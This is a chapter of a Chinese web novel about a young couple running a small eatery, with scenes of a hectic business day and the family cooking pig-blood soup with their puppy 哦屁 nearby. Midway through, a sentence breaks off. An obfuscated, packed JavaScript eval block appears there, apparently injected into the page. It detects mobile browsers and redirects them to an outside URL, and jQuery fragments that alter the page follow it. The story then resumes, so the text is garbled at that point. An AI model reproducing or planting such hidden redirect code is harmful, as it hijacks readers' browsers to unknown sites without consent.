第二天清晨，哦屁在温暖的房里醒来。


    它慵懒地趴在小窝里，看着漂亮的娘坐在梳妆镜前数钱，而后高大的爹站在娘身后，动作轻柔地给娘梳头发。


    苏月娘数好了钱后，打开钱串，从上头划下二十个铜板一股脑地塞到许东山的衣兜里头。


    “这是赏给许师傅的辛苦钱。”


    “梳个头而已，不辛苦。”许东山梳得很仔细，苏月娘那一把又黑又浓密的秀发很快被梳顺了。


    苏月娘噗嗤一笑，“我没说是梳头辛苦……”


    既然不是梳头辛苦，那就是……


    许东山不自在地咳嗽了两声，耳根子慢慢染上了红色。


    调戏了许东山一番后，苏月娘叫许东山将钱收到匣子里放着，自己取出簪子，慢慢地盘发髻。


    刚成亲的时候，她盘发髻还不太熟练，每天都要花不少时间打理头发，但如今上手之后，她盘的发髻牢固又美观。


    许东山将钱收好后，苏月娘也盘好了头发。


    两口子轮流亲了哦屁一口之后，才一起出门。


    两人出来时，天已经马上快亮了，好在林大松和许春喜起得早，不然今早开门的时辰指定得往后推。


    昨天挣了不少钱的林大松今天干活额外有劲儿，苏月娘才走出房巷，便听见他那刺耳的歌声。


    吴头家还领着他孙子在吃饭，他的手边还放着一包许春喜做的蒜蓉枝。


    “月娘头家，你快叫你表哥别唱了，太难听了！”吴头家面露痛苦。


    苏月娘朝吴头家喊了声抱歉后，赶忙冲进厨房里，从林大松身后捂上他的嘴。


    “唔唔唔唔唔唔……”林大松一阵挣扎。


    “别唱了别唱了……你唱得太难听了，人家都有意见了！”


    许春喜正巧端着菜从院子里进来，“我就说你唱得难听吧！别把客人都吓跑了！”


    林大松还想为自己争取一下唱歌的权利时，苏月娘毫不留情道：“从现在开始，你不准在厨房唱歌！唱一句扣十文钱！”


    比起唱曲子，林大松还是更喜欢钱，他咬了咬唇，忍住了想张嘴的冲动。


    ……


    昨天官老爷们来这儿吃饭的影响还在，今早的生意依旧好得过分，苏月娘忙得险些没有功夫出去买菜了。


    中午那阵子，咸水鸭与姜母鸭全在出锅后的两刻钟后卖光了。


    不过好在苏月娘早上有先见之明，临时加了一锅排骨咸饭、多泡了五斤湖头米粉，不然今天中午指定得有更多食客吃不上饭。


    午后没那么忙碌了，苏月娘带上钱出了趟门。


    趁着最近生意好，在后院砌新灶的事情可以准备起来了。


    赶在年前盖房子的人家多，镇上几位能砌灶的师傅都在忙碌，后来还是苏月娘寻了上次帮忙砌墙的那个师傅，许诺了两倍工钱，才叫那师傅同意明日抽了半日的功夫去店里将灶给砌了。


    ——


    今天的客人实在多，店里的吃食纵然多做了一批，但也不够卖的，天还没黑，东西就卖空了。


    没有吃上饭的客人悻悻离去。


    关上店门，连轴转了一整日的几人总算松了一口气。


    “难得这么早关门！我可得好好歇一歇！”林大松抻了个懒腰，往后一仰，瘫靠在了许春喜的身上。


    许春喜满脸嫌弃地推了推林大松的脑袋，林大松却是得寸进尺地展开双臂，紧紧地抱着许春喜的腰。


    “你别推我！我快累坏了！”林大松嘟囔。


    许春喜也将他今日的辛劳看在眼里，难得心疼他一会，同意他靠在自己身上歇一会儿。


    见兄嫂和红姑都面露疲惫，苏月娘便推着许东山去厨房做晚饭。


    “今天大家都累坏了，就咱们两个做晚饭吧！”


    许东山也累，但苏月娘都与他开口了，他也不好继续在堂屋里坐着歇息。


    “家里还有什么菜？”趁着还没开煮，许东山赶紧松一松酸痛的胳膊。


    “还剩下几样菜，和一坨肉羹、一碗花蛤，哦对了，今早上去买肉的时候，头家还送了我两大块猪料（猪血）呢！”苏月娘在角落里堆着的菜盆里翻出了猪料，“我也心疼心疼你！你负责将猪料做成汤便好，其他的我来解决！”


    许东山眉开眼笑，“好。”


    ……


    生猪料直接烹煮可不成，这容易让汤水变得浑浊、口味腥腻。


    在正式烹煮之前，许东山抓起猪料，托在掌心，用菜刀慢慢地将大块猪料分成将生猪料焯了一番，鲜红的猪血变为暗紫色，至这样的程度，便能够煮汤了。


    切上小半碗肥腻的五花肉片倒入大锅中煸炒出油脂，油水被煸干之后，许东山捞出猪油粕再倒上切好的葱头碎、番姜、当归以及虾米一起炒出香味。


    前头那几人当真是累了，闻见一丝不一样的香料味也不走动过来瞧瞧锅中是什么，只是在外头大声叫唤道：


    “哥，你在煮什么？”


    “你哥在煮猪料汤！”离门比较近的苏月娘从厨房里探头。


    “那得多加点番姜！喝起来暖和！”许春喜将林大松沉重的脑袋往边上一推，“你别光在这瘫着，快去厨房里给哥和月娘打下手！”


    “不去……他们都没喊我！”林大松哼哼两声，又自己抱了回去。


    一旁啃着蒜蓉枝的阿生都看笑了。


    “阿生都笑你懒了！”


    林大松，“臭小子，一会儿吃饱了我再收拾你！”


    许春喜对这头懒驴忍无可忍，“你再不去干活，晚上把你赶去跟哦屁睡！”


    林大松睁开眼睛，疑惑道：“哦屁不是跟月娘他们睡吗？我可不想去他们屋里凑热闹！”


    许春喜咬着牙马上就要发作，还算有点眼力见的林大松立即弹了起来，往厨房跑去。


    阿生嘿嘿地笑出声。


    大松姑父在春喜姑姑面前依旧如此怂。


    ……


    猪料汤适宜慢炖，这才能将汤水炖得油香醇厚。


    许东山将家里最大的汤煲找出，倒入焯过水的猪油粕、姜片、葱头、一小把掰开的枸杞后倒入八分满的滚水，盖上盖子，任其慢炖。


    许东山倒不可能真让苏月娘包了剩下的事情，现在林大松过来了，他便让苏月娘去给哦屁送羊奶，自己与林大松操持剩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570127|164129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下的事情。


    ……


    两刻钟之后，米饭熟了，菜也炒好了，许东山再次掀开汤煲的盖子，用木勺舀了一勺汤汁。


    只见汤水颜色发暗，飘着一层油星子，汤水里头的黄白色猪油粕被泡得松松软软的，暗紫色猪料块也并未因为炖煮而松散，表面大致光滑，只有零星几个小孔洞含着点泛着油光的汤汁。


    许东山往汤里放上适量盐、胡椒粉和永春老醋，淋上两圈料酒，最后倒入芹菜碎、葱花以及方才备好的香料葱头油，这辛辣爽口的猪料汤便可以端上桌了。


    万事俱备，只欠猪料汤。


    猪料汤摆在正中之后，饥肠辘辘的众人开始动筷吃饭。


    “汤里油多，大家小心烫。”许东山先给苏月娘装上满满一碗猪料，再倒入两勺汤水。


    话音刚落，心急的林大松被滚烫的汤水烫得惨叫了一声。


    一桌子人都看向了他。


    许春喜无奈地起身帮他倒凉水。


    阿生凑过去，幽幽地说道：“姑父，心急吃不了热猪料哦！”


    林大松咬牙切齿，“……你小子给我等着！”


    “都这么大人了，还威胁小孩！”许春喜揪着林大松的耳朵，让他转过头喝水。


    有林大松被烫的例子在前，大家伙都慢吞吞地将汤吹凉才入口。


    这猪料汤掺了猪油粕炖，又加了半碗葱头油，喝起来醇厚酸辣，而刻意切得没那么碎的芹菜碎又给这味重的猪料汤带来一丝清新。


    经过炖煮的猪料尝起来依旧滑嫩似水豆腐，零星的小孔洞里所存的汤水也因为猪料在口中挤压而流淌出来。


    胡椒与番姜的辛辣催得大家伙额角发汗，浑身上下暖洋洋的。


    苏月娘一边往嘴里送汤，一边掏出巾帕擦拭额角的细汗。


    “这大冬天的，大家都爱喝一口热的，我看这猪料汤若是拿出来卖，指定比咱们平日里煮的菜汤更受客人们的欢迎！”苏月娘呼出一口燥热的气，“阿山，明天你早点起来，去把杀猪匠那儿的猪料都包了！明天我们做猪料汤！”


    猪料原是不值钱的，但猪料汤里放了猪油粕与猪油熬成的葱头油，单凭荤腥足这一点，苏月娘便自信这猪料汤能够与平日里卖的菜汤一个价。


    头家都发话了，许东山自然是应下了她交代的事情。


    大家伙专心吃饭时，房巷那儿忽然冒出一个黑漆漆的小脑袋。


    东张西望的阿生瞧见了小小的哦屁躲在房巷口往外张望。


    “干娘，哦屁过来了！”


    苏月娘回过头，忙对哦屁招手，“哦屁快过来！”


    得到了娘的允许，哦屁这才摇着小尾巴，屁颠屁颠地朝着苏月娘小跑去。


    苏月娘弯下腰，将哦屁抱到腿上放着，“外头这么冷，你怎么敢出窝！也不怕被冻成傻狗！”


    哦屁在苏月娘温暖的怀里蹭了蹭，发出委屈的哼哼声。


    “傻狗，大冷天还出来。”许东山揉了揉哦屁的脑袋。


    哦屁动了动鼻子，黑亮的眼睛盯着苏月娘碗里的猪料汤。


    阿生若有所思，“原来哦屁是被汤给香出窝的呀！”